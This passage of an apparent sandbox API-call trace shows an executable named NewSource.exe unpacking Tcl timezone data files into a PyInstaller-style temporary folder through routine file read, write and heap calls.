dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.648] GetFileType (hFile=0x10c) returned 0x1 [0040.648] htonl (hostlong=0x98060000) returned 0x698 [0040.648] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.648] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x698, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x698, lpOverlapped=0x0) returned 1 [0040.649] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.649] CloseHandle (hObject=0x10c) returned 1 [0040.649] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.649] htonl (hostlong=0x30000000) returned 0x30 [0040.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.649] GetFileType (hFile=0x10c) returned 0x1 [0040.649] htonl (hostlong=0xf2135b00) returned 0x5b13f2 [0040.649] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc3f2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.649] htonl (hostlong=0xac000000) returned 0xac [0040.649] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x55cfe0 [0040.649] htonl (hostlong=0xac000000) returned 0xac [0040.649] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.649] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.650] htonl (hostlong=0xe9000000) returned 0xe9 [0040.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe9) returned 0x550600 [0040.650] htonl (hostlong=0xac000000) returned 0xac [0040.650] htonl (hostlong=0xe9000000) returned 0xe9 [0040.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.650] CloseHandle (hObject=0x10c) returned 1 [0040.650] GetLastError () returned 0x0 [0040.650] SetLastError (dwErrCode=0x0) [0040.650] GetLastError () returned 0x0 [0040.651] SetLastError (dwErrCode=0x0) [0040.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.651] GetFileType (hFile=0x10c) returned 0x1 [0040.651] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.651] CloseHandle (hObject=0x10c) returned 1 [0040.651] GetLastError () returned 0x0 [0040.651] SetLastError (dwErrCode=0x0) [0040.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.651] GetFileType (hFile=0x10c) returned 0x1 [0040.651] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.651] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.651] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.651] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.652] CloseHandle (hObject=0x10c) returned 1 [0040.652] GetLastError () returned 0x0 [0040.652] SetLastError (dwErrCode=0x0) [0040.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.652] GetFileType (hFile=0x10c) returned 0x1 [0040.652] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.652] CloseHandle (hObject=0x10c) returned 1 [0040.652] GetLastError () returned 0x0 [0040.652] SetLastError (dwErrCode=0x0) [0040.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Rangoon") returned 69 [0040.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Rangoon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\rangoon"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.653] GetLastError () returned 0x2 [0040.653] SetLastError (dwErrCode=0x2) [0040.653] GetLastError () returned 0x2 [0040.653] SetLastError (dwErrCode=0x2) [0040.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Rangoon", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Rangoon", lpFilePart=0x0) returned 0x44 [0040.653] GetLastError () returned 0x2 [0040.653] SetLastError (dwErrCode=0x2) [0040.653] GetLastError () returned 0x2 [0040.653] SetLastError (dwErrCode=0x2) [0040.653] GetLastError () returned 0x2 [0040.653] SetLastError (dwErrCode=0x2) [0040.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Rangoon") returned 69 [0040.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Rangoon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\rangoon"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.653] GetFileType (hFile=0x10c) returned 0x1 [0040.653] htonl (hostlong=0xe9000000) returned 0xe9 [0040.653] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.653] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe9, lpOverlapped=0x0) returned 1 [0040.654] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.654] CloseHandle (hObject=0x10c) returned 1 [0040.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.655] htonl (hostlong=0x30000000) returned 0x30 [0040.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.655] GetFileType (hFile=0x10c) returned 0x1 [0040.655] htonl (hostlong=0x9e145b00) returned 0x5b149e [0040.655] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc49e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.655] htonl (hostlong=0x87000000) returned 0x87 [0040.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0040.655] htonl (hostlong=0x87000000) returned 0x87 [0040.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.655] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.655] htonl (hostlong=0x8e000000) returned 0x8e [0040.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x550600 [0040.655] htonl (hostlong=0x87000000) returned 0x87 [0040.655] htonl (hostlong=0x8e000000) returned 0x8e [0040.655] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.655] CloseHandle (hObject=0x10c) returned 1 [0040.655] GetLastError () returned 0x0 [0040.655] SetLastError (dwErrCode=0x0) [0040.655] GetLastError () returned 0x0 [0040.655] SetLastError (dwErrCode=0x0) [0040.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.656] GetFileType (hFile=0x10c) returned 0x1 [0040.656] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.656] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.656] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.656] CloseHandle (hObject=0x10c) returned 1 [0040.656] GetLastError () returned 0x0 [0040.656] SetLastError (dwErrCode=0x0) [0040.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.656] GetFileType (hFile=0x10c) returned 0x1 [0040.656] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.656] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.657] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.657] CloseHandle (hObject=0x10c) returned 1 [0040.657] GetLastError () returned 0x0 [0040.657] SetLastError (dwErrCode=0x0) [0040.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.657] GetFileType (hFile=0x10c) returned 0x1 [0040.657] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.657] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.657] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.657] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.657] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.657] CloseHandle (hObject=0x10c) returned 1 [0040.657] GetLastError () returned 0x0 [0040.657] SetLastError (dwErrCode=0x0) [0040.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Riyadh") returned 68 [0040.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Riyadh" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\riyadh"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.657] GetLastError () returned 0x2 [0040.658] SetLastError (dwErrCode=0x2) [0040.658] GetLastError () returned 0x2 [0040.658] SetLastError (dwErrCode=0x2) [0040.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Riyadh", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Riyadh", lpFilePart=0x0) returned 0x43 [0040.658] GetLastError () returned 0x2 [0040.658] SetLastError (dwErrCode=0x2) [0040.658] GetLastError () returned 0x2 [0040.658] SetLastError (dwErrCode=0x2) [0040.658] GetLastError () returned 0x2 [0040.658] SetLastError (dwErrCode=0x2) [0040.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Riyadh") returned 68 [0040.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Riyadh" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\riyadh"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.658] GetFileType (hFile=0x10c) returned 0x1 [0040.658] htonl (hostlong=0x8e000000) returned 0x8e [0040.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.658] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8e, lpOverlapped=0x0) returned 1 [0040.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.659] CloseHandle (hObject=0x10c) returned 1 [0040.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.659] htonl (hostlong=0x30000000) returned 0x30 [0040.659] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.659] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.659] CreateFileW 